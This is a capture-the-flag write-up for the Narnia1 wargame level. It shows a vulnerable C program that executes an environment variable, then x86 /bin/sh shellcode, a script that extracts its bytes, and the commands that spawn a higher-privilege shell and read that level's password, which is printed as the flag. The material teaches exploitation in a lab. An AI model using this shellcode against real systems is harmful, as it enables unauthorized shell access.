Writeup

narnia1.c content :

#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}

What if we insert inside EGG variable the string /bin/sh ?

narnia1@narnia:/narnia$ export EGG="/bin/sh"
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
Segmentation fault

Why it gave us segmentaion fault? because EGG must be a function not a string, so in order to exploit the program we need to insert in the EGG a function that calls /bin/sh. This particular function is called shellcode and we can find many shellcode on shell-storm. Basically a shellcode are the instructions in machine language that starts a shell /bin/sh.

The shellcode which calls /bin/sh in asm is :

xor     eax, eax    ;Clearing eax register
push    eax         ;Pushing NULL bytes
push    0x68732f2f  ;Pushing //sh
push    0x6e69622f  ;Pushing /bin
mov     ebx, esp    ;ebx now has address of /bin//sh
push    eax         ;Pushing NULL byte
mov     edx, esp    ;edx now has address of NULL byte
push    ebx         ;Pushing address of /bin//sh
mov     ecx, esp    ;ecx now has address of address
                    ;of /bin//sh byte
mov     al, 11      ;syscall number of execve is 11
int     0x80        ;Make the system call

And we can generate the shellcode with a bash script

#!/bin/bash

nasm -f elf shellcode-sh.asm;
#objdump -d -M intel shellcode-sh.o;
objdump -d shellcode-sh.o | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g'

output :

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

To get a user shell as narnia2 we need to export the shellcode in the EGG variable

narnia1@narnia:~$ cd /narnia
narnia1@narnia:/narnia$ export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
nairiepecu

Flag: nairiepecu